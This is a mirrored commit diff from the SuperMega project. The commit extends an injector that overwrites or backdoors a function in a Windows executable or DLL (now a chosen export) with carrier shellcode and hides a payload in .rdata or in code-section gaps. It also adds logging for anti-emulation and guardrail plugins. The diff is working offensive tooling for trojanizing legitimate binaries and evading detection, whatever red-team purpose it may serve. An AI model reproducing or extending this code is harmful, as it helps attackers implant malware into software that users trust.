mirror of
https://github.com/dobin/SuperMega
synced 2026-06-02 17:27:10 +00:00
feature: correct dll function handling
This commit is contained in:
@@ -98,6 +98,10 @@
|
|||||||
<!-- Input: DLL function -->
|
<!-- Input: DLL function -->
|
||||||
{% if exports != [] %}
|
{% if exports != [] %}
|
||||||
<select class="form-select" name="dllfunc" aria-label="DLLFUNC" onchange="this.form.submit()">
|
<select class="form-select" name="dllfunc" aria-label="DLLFUNC" onchange="this.form.submit()">
|
||||||
|
<option value=""
|
||||||
|
{% if "" == settings.dllfunc %} selected {% endif %}
|
||||||
|
>DllMain</option>
|
||||||
|
|
||||||
{% for export in exports %}
|
{% for export in exports %}
|
||||||
<option value="{{export['name']}}"
|
<option value="{{export['name']}}"
|
||||||
{% if export["name"] == settings.dllfunc %} selected {% endif %}
|
{% if export["name"] == settings.dllfunc %} selected {% endif %}
|
||||||
|
|||||||
@@ -190,6 +190,16 @@ class SuperPe():
|
|||||||
raise Exception("Cant find entry point for export {}".format(exportName))
|
raise Exception("Cant find entry point for export {}".format(exportName))
|
||||||
|
|
||||||
|
|
||||||
|
def get_export_vaddr_by_name(self, exportName: str) -> Optional[int]:
|
||||||
|
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
|
||||||
|
self.pe.parse_data_directories(directories=d)
|
||||||
|
if self.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0:
|
||||||
|
return None
|
||||||
|
for e in self.pe.DIRECTORY_ENTRY_EXPORT.symbols:
|
||||||
|
if e.name.decode() == exportName:
|
||||||
|
return e.address
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
def get_exports(self) -> List[str]:
|
def get_exports(self) -> List[str]:
|
||||||
"""Return a list of exported functions (names) from the PE file"""
|
"""Return a list of exported functions (names) from the PE file"""
|
||||||
|
|||||||
+27
-27
@@ -59,7 +59,7 @@ class Injector():
|
|||||||
# │ │ │ │ │ │ │ │
|
# │ │ │ │ │ │ │ │
|
||||||
# └─────────┴─────────┴───────┘ └────────┴─────────┴───────┘
|
# └─────────┴─────────┴───────┘ └────────┴─────────┴───────┘
|
||||||
|
|
||||||
# Backdoor
|
# Backdoor: .rdata random
|
||||||
def get_random_data_payload_rva(self) -> int:
|
def get_random_data_payload_rva(self) -> int:
|
||||||
complete_size = len(self.payload.payload_data)
|
complete_size = len(self.payload.payload_data)
|
||||||
largest_gap = self.rdata_manager.find_holes(complete_size)
|
largest_gap = self.rdata_manager.find_holes(complete_size)
|
||||||
@@ -78,7 +78,7 @@ class Injector():
|
|||||||
return payload_rva
|
return payload_rva
|
||||||
|
|
||||||
|
|
||||||
# Backdoor
|
# Backdoor: .text random
|
||||||
def get_random_code_carrier_rva(self) -> int:
|
def get_random_code_carrier_rva(self) -> int:
|
||||||
complete_size = len(self.carrier_shc)
|
complete_size = len(self.carrier_shc)
|
||||||
largest_gap = self.code_manager.find_holes(complete_size)
|
largest_gap = self.code_manager.find_holes(complete_size)
|
||||||
@@ -91,7 +91,7 @@ class Injector():
|
|||||||
return carrier_rva
|
return carrier_rva
|
||||||
|
|
||||||
|
|
||||||
# Backdoor
|
# Backdoor: .text random
|
||||||
def get_random_carrier_and_payload_rva_in_code(self) -> Tuple[int, int]:
|
def get_random_carrier_and_payload_rva_in_code(self) -> Tuple[int, int]:
|
||||||
complete_size = len(self.carrier_shc) + 4096 + len(self.payload.payload_data)
|
complete_size = len(self.carrier_shc) + 4096 + len(self.payload.payload_data)
|
||||||
largest_gap = self.code_manager.find_holes(complete_size)
|
largest_gap = self.code_manager.find_holes(complete_size)
|
||||||
@@ -113,23 +113,6 @@ class Injector():
|
|||||||
return payload_rva, carrier_rva
|
return payload_rva, carrier_rva
|
||||||
|
|
||||||
|
|
||||||
# Overwrite
|
|
||||||
def get_func_carrier_and_payload_rva_in_code(self) -> Tuple[int, int]:
|
|
||||||
func_addr = self.superpe.get_entrypoint()
|
|
||||||
|
|
||||||
carrier_rva = func_addr
|
|
||||||
payload_rva = carrier_rva + len(self.carrier_shc)
|
|
||||||
|
|
||||||
return payload_rva, carrier_rva
|
|
||||||
|
|
||||||
|
|
||||||
# Overwrite
|
|
||||||
def get_func_code_carrier_rva(self) -> int:
|
|
||||||
func_addr = self.superpe.get_entrypoint()
|
|
||||||
carrier_rva = func_addr
|
|
||||||
return carrier_rva
|
|
||||||
|
|
||||||
|
|
||||||
## Inject
|
## Inject
|
||||||
|
|
||||||
def inject_exe(self):
|
def inject_exe(self):
|
||||||
@@ -149,16 +132,34 @@ class Injector():
|
|||||||
if self.settings.carrier_invoke_style == CarrierInvokeStyle.OverwriteFunc:
|
if self.settings.carrier_invoke_style == CarrierInvokeStyle.OverwriteFunc:
|
||||||
if self.settings.payload_location == PayloadLocation.CODE:
|
if self.settings.payload_location == PayloadLocation.CODE:
|
||||||
# Carrier and Payload both in .text section in a function
|
# Carrier and Payload both in .text section in a function
|
||||||
self.payload_rva, self.carrier_rva = self.get_func_carrier_and_payload_rva_in_code()
|
func_addr: int|None = None
|
||||||
|
if self.settings.dllfunc != "" and self.injectable.superpe.is_dll():
|
||||||
|
func_addr = self.superpe.get_export_vaddr_by_name(self.settings.dllfunc)
|
||||||
|
else:
|
||||||
|
func_addr = self.superpe.get_entrypoint()
|
||||||
|
self.carrier_rva = func_addr
|
||||||
|
|
||||||
|
# payload is behind the carrier shellcode
|
||||||
|
self.payload_rva = self.carrier_rva + len(self.carrier_shc)
|
||||||
|
|
||||||
elif self.settings.payload_location == PayloadLocation.DATA:
|
elif self.settings.payload_location == PayloadLocation.DATA:
|
||||||
# Carrier in a function, Payload random in data section
|
# Carrier in a function, Payload random in data section
|
||||||
self.carrier_rva = self.get_func_code_carrier_rva() ### BUGBUGBUG
|
func_addr: int|None = None
|
||||||
|
if self.settings.dllfunc != "" and self.injectable.superpe.is_dll():
|
||||||
|
func_addr = self.superpe.get_export_vaddr_by_name(self.settings.dllfunc)
|
||||||
|
else:
|
||||||
|
func_addr = self.superpe.get_entrypoint()
|
||||||
|
|
||||||
|
self.carrier_rva = func_addr
|
||||||
|
|
||||||
|
# payload is somewhere in .rdata section
|
||||||
self.payload_rva = self.get_random_data_payload_rva()
|
self.payload_rva = self.get_random_data_payload_rva()
|
||||||
|
|
||||||
# copy carrier shellcode into the code section (at func)
|
# copy carrier shellcode into the code section (at func)
|
||||||
carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva)
|
carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva)
|
||||||
self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
|
self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
|
||||||
logger.info(" Inject: Write Carrier to 0x{:X} (0x{:X})".format(
|
logger.info(" Inject: OverWrite {} with Carrierat 0x{:X} (0x{:X})".format(
|
||||||
|
self.settings.dllfunc if self.settings.dllfunc else "DllMain",
|
||||||
self.carrier_rva, carrier_offset))
|
self.carrier_rva, carrier_offset))
|
||||||
|
|
||||||
elif self.settings.carrier_invoke_style == CarrierInvokeStyle.BackdoorFunc:
|
elif self.settings.carrier_invoke_style == CarrierInvokeStyle.BackdoorFunc:
|
||||||
@@ -181,13 +182,12 @@ class Injector():
|
|||||||
if self.settings.dllfunc == "":
|
if self.settings.dllfunc == "":
|
||||||
backdoor_func_addr = self.superpe.get_entrypoint()
|
backdoor_func_addr = self.superpe.get_entrypoint()
|
||||||
else:
|
else:
|
||||||
pass
|
backdoor_func_addr = self.superpe.get_export_vaddr_by_name(self.settings.dllfunc)
|
||||||
logger.info(" Backdoor function {} (0x{:X})".format(
|
logger.info(" Backdoor function: {} (0x{:X})".format(
|
||||||
self.settings.dllfunc, backdoor_func_addr))
|
self.settings.dllfunc if self.settings.dllfunc else "DllMain", backdoor_func_addr))
|
||||||
self.function_backdoorer.backdoor_function(
|
self.function_backdoorer.backdoor_function(
|
||||||
backdoor_func_addr, self.carrier_rva, carrier_shc_len)
|
backdoor_func_addr, self.carrier_rva, carrier_shc_len)
|
||||||
|
|
||||||
|
|
||||||
# Make the injected carrier work, integrate it into the PE
|
# Make the injected carrier work, integrate it into the PE
|
||||||
self.injectable_write_iat_references()
|
self.injectable_write_iat_references()
|
||||||
self.inject_and_reference_data()
|
self.inject_and_reference_data()
|
||||||
|
|||||||
+1
-1
@@ -124,7 +124,7 @@ def masm_shc(asm_text_lines: List[str]) -> str:
|
|||||||
# ofile.write("\tjmp\tmain\n")
|
# ofile.write("\tjmp\tmain\n")
|
||||||
elif params.append_rsp_stub:
|
elif params.append_rsp_stub:
|
||||||
append_align_rsp(ofile)
|
append_align_rsp(ofile)
|
||||||
logger.debug("[INFO] Entry Point: AlignRSP")
|
#logger.debug("[INFO] Entry Point: AlignRSP")
|
||||||
|
|
||||||
if seg_name == "_BSS":
|
if seg_name == "_BSS":
|
||||||
raise Exception(f"[ERROR] Line {line_count + 1}: _BSS segment detected! Remove all global and static variables!\n")
|
raise Exception(f"[ERROR] Line {line_count + 1}: _BSS segment detected! Remove all global and static variables!\n")
|
||||||
|
|||||||
@@ -52,6 +52,11 @@ def create_c_from_template(settings: Settings, payload_len: int):
|
|||||||
logger.info(" Use AntiEmulation: {}".format(
|
logger.info(" Use AntiEmulation: {}".format(
|
||||||
settings.plugin_antiemulation)
|
settings.plugin_antiemulation)
|
||||||
)
|
)
|
||||||
|
if settings.dllfunc:
|
||||||
|
logger.info(" DLL Function: {}".format(
|
||||||
|
settings.dllfunc)
|
||||||
|
)
|
||||||
|
|
||||||
if settings.plugin_guardrail != "none":
|
if settings.plugin_guardrail != "none":
|
||||||
logger.info(" Carrier Guardrail: {} (key: {} value: {})".format(
|
logger.info(" Carrier Guardrail: {} (key: {} value: {})".format(
|
||||||
settings.plugin_guardrail,
|
settings.plugin_guardrail,
|
||||||
|
|||||||
Reference in New Issue
Block a user